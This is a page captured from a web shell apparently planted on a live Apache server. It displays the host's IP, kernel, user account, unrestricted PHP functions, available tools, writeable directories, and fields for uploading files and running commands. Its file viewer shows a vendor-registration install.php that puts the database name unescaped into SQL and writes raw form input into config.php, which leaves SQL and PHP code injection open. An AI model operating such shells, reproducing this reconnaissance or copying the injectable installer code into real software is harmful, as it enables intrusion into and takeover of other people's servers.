403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vendorset/Vendorapp/test-install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vendorset/Vendorapp/test-install/install.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $db_host = $_POST['db_host'] ?? '';
    $db_user = $_POST['db_user'] ?? '';
    $db_pass = $_POST['db_pass'] ?? '';
    $db_name = $_POST['db_name'] ?? '';
    $admin_user = $_POST['admin_user'] ?? '';
    $admin_pass = $_POST['admin_pass'] ?? '';

    if (!empty($db_host) && !empty($db_user) && !empty($db_name) && !empty($admin_user) && !empty($admin_pass)) {
        $conn = new mysqli($db_host, $db_user, $db_pass);

        if ($conn->connect_error) {
            echo "Connection failed: " . $conn->connect_error;
        } else {
            // Create the database
            $conn->query("CREATE DATABASE IF NOT EXISTS `$db_name`");
            $conn->select_db($db_name);

            // Import the SQL schema
            $sql_file = 'backup.sql';
            $sql_content = file_get_contents($sql_file);
            $queries = explode(';', $sql_content);
            foreach ($queries as $query) {
                if (trim($query)) {
                    $conn->query($query);
                }
            }

            // Create the config.php file
            $config_content = <<<EOT
<?php
define('DB_HOST', '$db_host');
define('DB_USER', '$db_user');
define('DB_PASS', '$db_pass');
define('DB_NAME', '$db_name');
?>
EOT;
            file_put_contents('config.php', $config_content);

            // Hash the admin password and insert into the database
            $hashed_admin_pass = password_hash($admin_pass, PASSWORD_DEFAULT);
            $stmt = $conn->prepare("INSERT INTO admins (username, password_hash) VALUES (?, ?)");
            $stmt->bind_param("ss", $admin_user, $hashed_admin_pass);
            if ($stmt->execute()) {
                echo "Installation completed successfully! Default admin user created.";
            } else {
                echo "Error creating admin user: " . $stmt->error;
            }
            $stmt->close();
        }
    } else {
        echo "Please fill in all fields.";
    }
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Installer</title>
</head>
<body>
    <h1>Install Vendor Registration System</h1>
    <form method="POST" action="install.php">
        <label for="db_host">Database Host:</label>
        <input type="text" id="db_host" name="db_host" required><br><br>

        <label for="db_user">Database User:</label>
        <input type="text" id="db_user" name="db_user" required><br><br>

        <label for="db_pass">Database Password:</label>
        <input type="password" id="db_pass" name="db_pass"><br><br>

        <label for="db_name">Database Name:</label>
        <input type="text" id="db_name" name="db_name" required><br><br>

        <label for="admin_user">Admin Username:</label>
        <input type="text" id="admin_user" name="admin_user" required><br><br>

        <label for="admin_pass">Admin Password:</label>
        <input type="password" id="admin_pass" name="admin_pass" required><br><br>

        <button type="submit">Install</button>
    </form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit